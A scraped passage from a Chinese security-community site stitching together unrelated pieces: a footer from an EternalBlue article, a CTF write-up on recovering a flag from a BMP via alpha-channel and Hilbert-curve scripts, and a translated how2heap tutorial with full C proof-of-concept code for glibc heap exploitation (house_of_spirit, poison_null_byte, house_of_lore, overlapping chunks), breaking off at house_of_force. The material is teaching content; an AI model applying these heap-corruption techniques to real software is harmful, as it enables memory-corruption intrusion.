**8 联系作者**
[**pgboy 微博**](http://weibo.com/pgboy1988)
[**zhong_sf 微博**](http://weibo.com/2641521260)
如果你感觉排版不舒服可以去[
**这里**](https://github.com/progmboy/vul_analyze_doc)下载原始的markdown文件。
**传送门**
****
* * *
[**【漏洞分析】MS 17-010：NSA Eternalblue SMB
漏洞分析**](http://bobao.360.cn/learning/detail/3738.html) | 社区文章 |
# 第五届强网杯2021-Misc-Threebody WriteUp
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
很有意思的一题，当时只有长亭一家做出来了，我也是赛后才找到了正确的办法，强网杯的群里还有很多同学在问这道题的WriteUp，我就尝试在这里发一下
其实这题一开始拿到的时候，我发现在横纵方向上每隔一定的周期会重复出现相似的点，我就先把高度也改成了580，写了一个脚本提取所有的相似点并且重新拼合，得到了16张清晰可见的图，并且还能拼合回原本580*580的大小，感觉有戏。也在各个颜色通道里发现了‘希尔伯特’和‘Welcome
to
QWB’，以及九张像二维码但不是二维码的东西，此时虽然已经离答案很接近了，但终究还是一开始路就走错了，依靠着各种奇技淫巧无限接近答案。错误的解题过程只是提一下，脚本就不放上来误导大家的思路了。
其实还是对题目理解得不够透彻。这题的关键其实是降维打击，在threebody,bmp中出现了许多靠近但是色值相差极大的像素点，这是一个很异常的情况。
我们打开010editor这是一张正常的32bit
bmp图片一个像素点的结构，四个值分别是BGRR，其中Reserver通道是保留通道，作用则是在某些能够利用该通道的软件中，会把Reserved通道视作Alpha通道看待，也即透明通道。
而当我们打开threebody.bmp时，发现相近的点颜色值相差极大，按理来说一般正常的图片，相近的地方颜色应该差不多才对。实际上你发现这些看似不相近的值，正在跨越像素之间以4为周期出现。结合上面我们提到的正常的bmp图片，你想到了什么？
说明这四个值本来应该是属于一个像素点的，这张图片遭到了‘降维打击’，原本的Reserved通道消失了，但是值却还保留着，发生了偏移。我们应该做的就是重组这些像素，让他们重归4个值一组。这张图片的属性是24bit/像素，我们将图片地址001C处的18修改为20，就可以设置该图片为32bit/像素(详情参见bmp文件的结构)，然后保存，就可以得到一张高清的图。这一步其实相当于完成了一个从’BGR’到’BGRR’的一个升维的过程
我们这这张图里也能通过stegsolve看到希尔伯特了
最后的信息隐藏在Alpha通道中，不过因为这么改出来的图片不能直接显示Alpha通道的东西，只能在一些特定的软件，例如PS中看到。还得写脚本提取。得到还原了alpha通道的图片，然后放进stegsolve，查看alpha0通道，得到一张像二维码但不是二维码的小方块，一看边长正好128个像素，可以应用希尔伯特曲线。具体做法就是按照希尔伯特曲线的顺序将其转化为01串，再依据ASCII码还原成原来的信息。
本步操作需先将threebody.bmp重命名为threebody.bin
from PIL import Image
a=Image.new(mode='RGBA',size=(435,580),color=(255,255,255,255))
file=open('threebody.bin','rb').read()
tot=0
i=0
j=0
for i in range(0,435):
for j in range(0,580):
s=[]
for t in range(0,4):
s.append(file[tot])
tot+=1
a.putpixel((i,j),(s[2],s[1],s[0],s[3]))
a.show()
a.save('final.png')
得到还原了透明度的图片
得到的图放stegsolve里，查看alpha0通道，得到最后的小方块
由于上部分脚本没有处理好，在接下来希尔伯特曲线的读取过程需要先将其旋转180°
from PIL import Image
n=7
pos_=[0,0]
dir_=0
img= Image.open.('code.bmp').rotate(180)#完成了分离的128*128像素的小方块,并且旋转了180°
img.show()
black=(0,0,0)
white=(255,255,255)
#0上1右2下3左
if img.getpixel((127,127))==black:
result='0'
else:
result='1'
def move(direction):
global result
global pos_
if direction==0:
pos_[1]=pos_[1]-1
if direction==1:
pos_[0]=pos_[0]+1
if direction==2:
pos_[1]=pos_[1]+1
if direction==3:
pos_[0]=pos_[0]-1
#print((pos_[0]+2**n-1),(pos_[1]+2**n-1))
if img.getpixel((pos_[0]+2**n-1,pos_[1]+2**n-1))==black:
result=result+'0'
if img.getpixel((pos_[0]+2**n-1,pos_[1]+2**n-1))==white:
result=result+'1'
def hilL(n):
global pos_
global dir_
if n==0:
pass
if n>0:
dir_ = (dir_ +1)%4
hilR(n-1)
move(dir_)
dir_ = (dir_-1)%4
hilL(n-1)
move(dir_)
hilL(n-1)
dir_ = (dir_ -1 )%4
move(dir_)
hilR(n-1)
dir_ = (dir_+1)%4
def hilR(n):
global pos_
global dir_
if n==0:
pass
if n>0:
dir_ = (dir_ -1 ) % 4
hilL(n - 1)
move(dir_)
dir_ = (dir_ + 1) % 4
hilR(n - 1)
move(dir_)
hilR(n - 1)
dir_ = (dir_ + 1) % 4
move(dir_)
hilL(n - 1)
dir_ = (dir_ - 1) % 4
hilR(n)
print(result)
print()
运行完以上程序可以得到一个01串，放到cyberchef里，还原得到一串C语言代码，刚开始不知道这串代码是用来干什么的，看起来是一遍又一遍的把自己输出。
结果发现在第11行代码后边存在大量的长短空格，将其分别替换成10，再扔到cyberchef里，得到flag{D1mEn5i0nAl_Pr061em}
## 心得体会
一开始走的歪路其实都是没有理解’降维打击‘在这题中的含义，不得不说这题的题目与题目内容结合得非常好 | 社区文章 |
# 【技术分享】how2heap总结-下
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[7o8v_](http://bobao.360.cn/member/contribute?uid=2556795459)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x00 前言**
****
"how2heap"是shellphish团队在Github上开源的 **堆漏洞** 系列教程.
我这段时间一直在学习堆漏洞利用方面的知识,看了这些利用技巧以后感觉受益匪浅.
这篇文章是我学习这个系列教程后的总结,在此和大家分享.我会尽量翻译原版教程的内容,方便英语不太好的同学学习.
不过在学习这些技巧之前,建议大家去看一看华庭写的"Glibc内存管理-Ptmalloc2源码分析"
<http://paper.seebug.org/papers/Archive/refs/heap/glibc%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86ptmalloc%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90.pdf>
在此也给出原版教程链接:
<https://github.com/shellphish/how2heap>
**补充**
****
上篇的总结因为在微信公众号发过了，所以不在这里发，可以到我的博客去看。博客：[reversing.win](http://reversing.win)
这次的翻译部分我决定再随性一点，每一句尽量使用我自己的理解。
而且原文有些错误的地方或者表意不明的地方我会在翻译部分修正，要是原文看不太明白，可以看我的翻译。
然后就是输出部分我就不贴了，大家想要学习的就自己在机器上输出看看。 😛
**0x01 测试环境**
****
Ubuntu 16.04.3 LTS x64
GLIBC 2.23
**0x02 目录**
****
house_of_spirit
poison_null_byte
house_of_lore
overlapping_chunks
overlapping_chunks_2
house_of_force
unsoted_bin_attack
**0x03 house_of_spirit**
****
源码：
#include <stdio.h>
#include <stdlib.h>
int main()
{
printf("This file demonstrates the house of spirit attack.n");
printf("Calling malloc() once so that it sets up its memory.n");
malloc(1);
printf("We will now overwrite a pointer to point to a fake 'fastbin' region.n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
printf("This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);
printf("This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64)."
"The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.n");
printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. "
"E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. n");
fake_chunks[1] = 0x40; // this is the size
printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) "
"to pass the nextsize integrity checks. No need for fastbin size.n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize
printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.n", &fake_chunks[1]);
printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.n");
a = &fake_chunks[2];
printf("Freeing the overwritten pointer.n");
free(a);
printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!n", &fake_chunks[1], &fake_chunks[2]);
printf("malloc(0x30): %pn", malloc(0x30));
}
**翻译：**
这个程序展示了一种被称为 **house_of_spirit** 的攻击方式。
首先调用一次 **malloc** 来初始化内存布局。
我们将会修改一个指针去指向一个 **fake fastbin** 区域。
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
这个区域长度为0x50，里面包含了两个chunk。第一个chunk开始于 **fake_chunk[0]** ,第二个chunk开始于
**fake_chunk[8]** 。
第一个chunk的size要在fastbin的范围内（x64机器上是 < 0x80），同时注意实际大小比可用大小多两个单元。
因为这个chunk被我们伪装成了fastbin，所以 **PREV_INUSE** 是什么都无所谓（free的时候不会管这个标志位），但是
**IS_MMAPPED** 和 **NON_MAIN_ARENA** 两个标志位是会有影响的，确保为0就行。
还有需要注意的是，我们用 **malloc**
申请内存的时候，表示内存大小的参数最后是会因为对齐的操作，使得我们输入不同的参数可能都会返回同样大小的内存，比如在x64的机器上我们申请
**0x30~0x38** 大小的内存，最后都会返回给我们 **0x40**
大小的内存。所以，如果我们想要一个0x40大小的内存，上面表示的大小范围内的值都可以作为malloc的参数。
还有就是第二个fake chunk的size必须要大于 **2*size_t** （x64机器上是16字节），且必须小于main
arena的大小，一般来讲是128kb，以此来pass掉chunk是否正常的检查。
然后我们将要free的指针的值改为fake chunk的地址 **fake_chunk[2]**
还有一点比较重要，fake chunk的地址必须是16字节对齐（x86机器上是8字节对齐）。
由于我们的fake chunk伪造的size值为0x40,所以之后malloc(0x30~0x38)都会返回 **fake_chunk[2]** 的地址。
**需要注意的是，这个示例中的fake chunk是布置在栈上的。**
这里我画一张图来帮助理解:
构造fake_chunk_1的目的是我们最后要返回它的指针来控制这片区域；而构造fake_chunk_2的目的是为了pass掉free()的检查使得我们可以成功返回fake_chunk_1的指针。
free之后的效果是这样的：
栈地址被成功放到了fastbin的链表上，之后就能把它malloc出来了。
当我们伪造的fake chunk内部存在不可控区域的时候，运用这个技术就可以将这片区域变成可控的了。
关于这个技术如果要练手的话，可以去做一下 pwnable.tw 上的 spirited_away
这道题。(后续我会将解题思路放到我的博客，可能不会放wp。)
**0x04 poison_null_byte**
****
源码：
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main()
{
printf("Welcome to poison null byte 2.0!n");
printf("Tested in Ubuntu 14.04 64bit.n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.n");
uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
printf("We allocate 0x100 bytes for 'a'.n");
a = (uint8_t*) malloc(0x100);
printf("a: %pn", a);
int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#xn", real_a_size);
/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);
printf("b: %pn", b);
c = (uint8_t*) malloc(0x100);
printf("c: %pn", c);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
printf("In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'n");
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x1f0) = 0x200;
// this technique works by overwriting the size metadata of a free chunk
free(b);
printf("b.size: %#lxn", *b_size_ptr);
printf("b.size is: (0x200 + 0x10) | prev_in_usen");
printf("We overflow 'a' with a single null byte into the metadata of 'b'n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
printf("b.size: %#lxn", *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
printf("c.prev_size is %#lxn",*c_prev_size_ptr);
// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);
printf("b1: %pn",b1);
printf("Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %lxn",*c_prev_size_ptr);
printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lxn",*(((uint64_t*)c)-4));
printf("We malloc 'b2', our 'victim' chunk.n");
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control
b2 = malloc(0x80);
printf("b2: %pn",b2);
memset(b2,'B',0x80);
printf("Current b2 content:n%sn",b2);
printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').n");
free(b1);
free(c);
printf("Finally, we allocate 'd', overlapping 'b2'.n");
d = malloc(0x300);
printf("d: %pn",d);
printf("Now 'd' and 'b2' overlap.n");
memset(d,'D',0x300);
printf("New b2 content:n%sn",b2);
printf("Thanks to http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf "
"for the clear explanation of this technique.n");
}
**翻译：**
这个技术可被用于当可以被malloc的区域（也就是heap区域）存在一个单字节溢出漏洞的时候。
我们先分配0x100个字节的内存，代号'a'。
如果我们想要去溢出a的话，我们需要知道它的实际大小（因为空间复用的存在），在我的机器上是0x108。
然后接着我们分配0x200个字节，代号'b'。
再分配0x100个字节，代号'c'。
uint8_t* a = malloc(0x100);
uint8_t* b = malloc(0x200);
uint8_t* c = malloc(0x100);
那么我们现在就有三个内存块：
a: 0x100
b: 0x200
c: 0x100
在新版glibc环境下，我们需要在b内部更新size来pass **'chunksize(P) != prev_size
(next_chunk(P))'**
*(size_t*)(b+0x1f0) = 0x200;
free(b)
b.size: 0x211 == ((0x200 + 0x10) | pre_in_use)
我们在a实现一个单字节的 null byte 溢出。
之后 b.size = 0x200
此时c.presize = 0x210 但是没关系我们还是能pass掉前面那个check。
这个时候：
b1 = malloc(0x100);
返回给b1的地址就是前面free掉的b的地址。
有趣的是现在C的presize在原来地址的后面两个单元位置处更新。 OK，我们再malloc一块内存。
b2 = malloc(0x80);
此时刚才的presize依然会更新，而且b2整个块也仍然在原来b的内部。
之后我们将b1和c依次free。这会导致b1开始的位置一直到c的末尾中间的内存会合并成一块。
free(b1);
free(c);
d = malloc(0x300);
返回的地址还是原来b的地址，重要的是刚才没有free的b2被包含在了里面！
我想这里的难点在于明白为什么后面的合并会发生。
还记得，在我们第一次free(b)之前，进行了如下的设置：
*(size_t*)(b+0x1f0) = 0x200;
这一步非常关键，可以确保我们之后进行null byte溢出后，还能成功free(b)。
这和上一个例程house_of_spirit对fake_chunk_2进行的设置的道理是一样的，逃过 **'chunksize(P) !=
prev_size (next_chunk(P))'** 的检查。
之后分配b1和b2的时候，presize也会一直在(b+0x1f0)处更新。
而在最后free(c)的时候，检查的是c的presize位，而因为最开始的null byte溢出，导致这块区域的值一直没被更新，一直是b最开始的大小
0x210 。
而在free的过程中就会认为前面0x210个字节都是空闲的，于是就错误地进行了合并，然而glibc忽略了中间还有个可怜的b2。
更详细的讲解可以参考这篇paper
<http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf>
**0x05 house_of_lore**
****
【注】：源码我改动过，使其编译为64位可执行文件仍能正常运行。其实不改的话也能正常运行，不过改了之后看得更直观。
**源码**
/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.
[ ... ]
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
[ ... ]
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
void jackpot(){ puts("Nice jump d00d"); exit(0); }
int main(int argc, char * argv[]){
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
printf("nWelcome to the House of Loren");
printf("This is a revisited version that bypass also the hardening check introduced by glibc mallocn");
printf("This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23nn");
printf("Allocating the victim chunkn");
intptr_t *victim = malloc(0x80);
printf("Allocated the first small chunk on the heap at %pn", victim);
// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;
printf("stack_buffer_1 at %p stack_buffer_1[1] at %pn", (void*)stack_buffer_1,(void*)&stack_buffer_1[1]);
printf("stack_buffer_2 at %p stack_buffer_2[1] at %pn", (void*)stack_buffer_2,(void*)&stack_buffer_2[1]);
printf("Create a fake chunk on the stackn");
printf("Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted "
"in second to the last malloc, which putting stack address on smallbin listn");
stack_buffer_1[2] = victim_chunk;
printf("Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stackn");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
printf("Allocating another large chunk in order to avoid consolidating the top chunk with "
"the small one during the free()n");
void *p5 = malloc(1000);
printf("Allocated the large chunk on the heap at %pn", p5);
printf("Freeing the chunk %p, it will be inserted in the unsorted binn", victim);
free((void*)victim);
printf("nIn the unsorted bin the victim's fwd and bk pointers are niln");
printf("victim->fwd: %pn", (void *)victim[0]);
printf("victim->bk: %pnn", (void *)victim[1]);
printf("Now performing a malloc that can't be handled by the UnsortedBin, nor the small binn");
printf("This means that the chunk %p will be inserted in front of the SmallBinn", victim);
void *p2 = malloc(1200);
printf("The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %pn", p2);
printf("The victim chunk has been sorted and its fwd and bk pointers updatedn");
printf("victim->fwd: %pn", (void *)victim[0]);
printf("victim->bk: %pnn", (void *)victim[1]);
//------------VULNERABILITY-----------
printf("Now emulating a vulnerability that can overwrite the victim->bk pointern");
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
//------------------------------------
printf("Now allocating a chunk with size equal to the first one freedn");
printf("This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointern");
void *p3 = malloc(0x80);
printf("p3 = %pn",p3 );
printf("This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bkn");
char *p4 = malloc(0x80);
printf("p4 = malloc(0x80)n");
printf("nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %pn",
stack_buffer_2[2]);
printf("np4 is %p and should be on the stack!n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}
**翻译**
在栈上有分配两个数组如下
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
分配好victim chunk
victim = malloc(0x80)
intptr_t* victim_chunk = victim-2;
这是heap上的第一个small chunk
然后在栈上制造一个fake chunk
stack_buffer_1[2] = victim_chunk;
这里的 **stack_buffer_1[2]** 刚好是我们要构造的第一个fake_chunk的fd指针的位置。
上面的操作可以pass掉后面malloc对于smallbin的检查。
再进行下面的操作：
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
stack_buffer_1[3]是第一个fake chunk的bk字段
和上面一样是为了pass掉malloc的检查。
然后申请一块大内存，来防止等一下free的时候把我们精心构造好的victim chunk给合并了。
void *p5 = malloc(1000);
现在把victim chunk给free掉，之后它会被放入unsortedbin中。
放入unsortedbin之后victim chunk的fd和bk会同时指向unsortedbin的头部。
现在执行一个不能被unsortedbin和smallbin响应的malloc。
void *p2 = malloc(1200);
malloc之后victim chunk将会从unsortedbin转移到smallbin中。
同时它的fd和bk也会更新，改为指向smallbin的头部。
现在假设发生了溢出改写了victim的bk指针
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
现在开始malloc和victim大小相同的内存块。
p3 = malloc(0x80);
返回给p3地址就是原来的victim地址，而且此时前面伪造的fake chunk也被连接到了smallbin上。
再次malloc
p4 = malloc(0x80);
这次返回的p4就将是一个栈地址！
这个技术最重要的地方在于成功将victim chunk和两个fake chunk构造成双向链表。
还是给个示意图：
这就是布局好的双向链表。
可以看到 **stack_buffer_2** 的bk字段是空着的，那是因为我们这时没有进行信息的泄露，如果泄露出 **smallbin_head**
的值并填上去的话，这个链表才算是完整，当然如果没必要的话可以不这样做。尽管之后的针对这个smallbin的malloc会报错。
在前面我补充说过：
【注】：源码我改动过，使其编译为64位可执行文件仍能正常运行。其实不改的话也能正常运行，不过改了之后看得更直观。
**原来的代码中victim chunk的大小是100，malloc之后会对齐到0x70。**
0x70在32位系统上属于smallbin，在64位系统上属于fastbin。
原本针对32位程序的代码编译为64位程序也能正常运行，这是为什么？
这是因为，不管这个0x70大小的victim
chunk是先加入unsotedbin还是fastbin，在之后都会被加入到smallbin中，smallbin也有0x70大小的链表！
可以看下图，这时victim chunk被加入fastbin链表的时候：
在经过 **void *p2 = malloc(1200);** 后：
而在我改过代码之后，victim chunk就是正常地先加入unsortedbin再加入smallbin了。
**0x06 overlapping_chunks**
****
**源码：**
/*
A simple tale of overlapping chunk.
This technique is taken from
http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int main(int argc , char* argv[]){
intptr_t *p1,*p2,*p3,*p4;
printf("nThis is a simple chunks overlapping problemnn");
printf("Let's start to allocate 3 chunks on the heapn");
p1 = malloc(0x100 - 8);
p2 = malloc(0x100 - 8);
p3 = malloc(0x80 - 8);
printf("The 3 chunks have been allocated here:np1=%pnp2=%pnp3=%pn", p1, p2, p3);
memset(p1, '1', 0x100 - 8);
memset(p2, '2', 0x100 - 8);
memset(p3, '3', 0x80 - 8);
printf("nNow let's free the chunk p2n");
free(p2);
printf("The chunk p2 is now in the unsorted bin ready to serve possiblennew malloc() of its sizen");
printf("Now let's simulate an overflow that can overwrite the size of the chunk freed p2.n");
printf("For a toy program, the value of the last 3 bits is unimportant;"
" however, it is best to maintain the stability of the heap.n");
printf("To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
" to assure that p1 is not mistaken for a free chunk.n");
int evil_chunk_size = 0x181;
int evil_region_size = 0x180 - 8;
printf("We are going to set the size of chunk p2 to to %d, which gives usna region size of %dn",
evil_chunk_size, evil_region_size);
*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
printf("nNow let's allocate another chunk with a size equal to the datan"
"size of the chunk p2 injected sizen");
printf("This malloc will be served from the previously freed chunk thatn"
"is parked in the unsorted bin which size has been modified by usn");
p4 = malloc(evil_region_size);
printf("np4 has been allocated at %p and ends at %pn", p4, p4+evil_region_size);
printf("p3 starts at %p and ends at %pn", p3, p3+80);
printf("p4 should overlap with p3, in this case p4 includes all p3.n");
printf("nNow everything copied inside chunk p4 can overwrites data onnchunk p3,"
" and data written to chunk p3 can overwrite datanstored in the p4 chunk.nn");
printf("Let's run through an example. Right now, we have:n");
printf("p4 = %sn", (char *)p4);
printf("p3 = %sn", (char *)p3);
printf("nIf we memset(p4, '4', %d), we have:n", evil_region_size);
memset(p4, '4', evil_region_size);
printf("p4 = %sn", (char *)p4);
printf("p3 = %sn", (char *)p3);
printf("nAnd if we then memset(p3, '3', 80), we have:n");
memset(p3, '3', 80);
printf("p4 = %sn", (char *)p4);
printf("p3 = %sn", (char *)p3);
}
**翻译：**
这是一个简单的堆块重叠的问题。
先malloc三个堆块：
p1 = malloc(0x100 - 8);
p2 = malloc(0x100 - 8);
p3 = malloc(0x80 - 8);
现在free掉p2
p2被free之后加入到了unsortedbin链表中待命
现在让我们模拟一个可以改写p2.size的溢出。
int evil_chunk_size = 0x181;
*(p2-1) = evil_chunk_size;
对于我们这个例子来讲三个标志位影响不是很大，但是为了保持堆的稳定性，还是不要随意改动。
至少我们要确保pre_in_use为true，不要让p1被误认为被free了。
我们将p2的size改写为0x181，之后的malloc就会返回给我们一个0x178（可使用大小）的堆块。
…
下面的就不再翻译了，大概意思就是malloc(0x178)返回了p2的地址，而且包含了整个p3在里面。
int evil_region_size = 0x180 - 8;
p4 = malloc(evil_region_size);
返回给p4的地址就是原来p2的，而且p4中包含了还没被free的p3。
我们前面通过溢出一个null byte来达到overlapping chunk的效果。
这里就非常简单暴力了，直接修改已经free的chunk的size字段，而且只用修改这个字段，就可以达到攻击的目的了。
之后的malloc就可以返回一个带有overlapping效果的chunk。
没太多可讲的，整个过程也比较简单。
**0x07 overlapping_chunks_2**
****
**源码：**
/*
Yet another simple tale of overlapping chunk.
This technique is taken from
https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.
This is also referenced as Nonadjacent Free Chunk Consolidation Attack.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main(){
intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;
printf("nThis is a simple chunks overlapping problem");
printf("nThis is also referenced as Nonadjacent Free Chunk Consolidation Attackn");
printf("nLet's start to allocate 5 chunks on the heap:");
p1 = malloc(1000);
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);
real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);
printf("nnchunk p1 from %p to %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
printf("nchunk p2 from %p to %p", p2, (unsigned char *)p2+malloc_usable_size(p2));
printf("nchunk p3 from %p to %p", p3, (unsigned char *)p3+malloc_usable_size(p3));
printf("nchunk p4 from %p to %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
printf("nchunk p5 from %p to %pn", p5, (unsigned char *)p5+malloc_usable_size(p5));
memset(p1,'A',real_size_p1);
memset(p2,'B',real_size_p2);
memset(p3,'C',real_size_p3);
memset(p4,'D',real_size_p4);
memset(p5,'E',real_size_p5);
printf("nLet's free the chunk p4.nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4n");
free(p4);
printf("nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2nwith the size of chunk_p2 + size of chunk_p3n");
*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE
printf("nNow during the free() operation on p2, the allocator is fooled to think that nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) n");
printf("nThis operation will basically create a big free chunk that wrongly includes p3n");
free(p2);
printf("nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunkn");
p6 = malloc(2000);
real_size_p6 = malloc_usable_size(p6);
printf("nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and nwe can overwrite data in p3 by writing on chunk p6n");
printf("nchunk p6 from %p to %p", p6, (unsigned char *)p6+real_size_p6);
printf("nchunk p3 from %p to %pn", p3, (unsigned char *) p3+real_size_p3);
printf("nData inside chunk p3: nn");
printf("%sn",(char *)p3);
printf("nLet's write something inside p6n");
memset(p6,'F',1500);
printf("nData inside chunk p3: nn");
printf("%sn",(char *)p3);
}
**翻译：**
这同样是一个简单的堆块重叠的问题。
这也被称为非相邻free chunk合并攻击。
首先malloc五个堆块：
p1 = malloc(1000);
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);
free(p4);
因为p5的存在所以p4不会被合并。
然后我们在p1触发一个溢出，将p2的size改写成p2和p3大小的和。
之后free(p2)的时候，分配器就会认为p4是下一个块（忽略p3）。
然后就会错误地将p3和p2合并。
p6 = malloc(2000);
这时返回给p6的地址就是p2的地址了，p6内部也包含了未被free的p3。
我们可以愉快地通过p6来改写p3中的任何数据。
这个例程介绍的是获得overlapping chunk的另外一种方法。
上面那种方法是在chunk已经被free的情况下直接修改size字段，然后将chunk malloc出来。
这个例程是在chunk被free之前，通过修改size，然后free，欺骗free函数去修改了下一个chunk的presize字段来强行“合并”堆块。
这里就是设置了p2的size为p2和p3大小的和，之后更新presize的时候是通过p2的地址加上p2的size来寻找的要修改的位置的，这里刚好就把p4头部的presize给改掉了。
之后的malloc也顺理成章地将p2和p3作为一块内存分配给我们了，尽管p3没有被free。
**0x08 house_of_force**
****
**源码：**
/*
This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
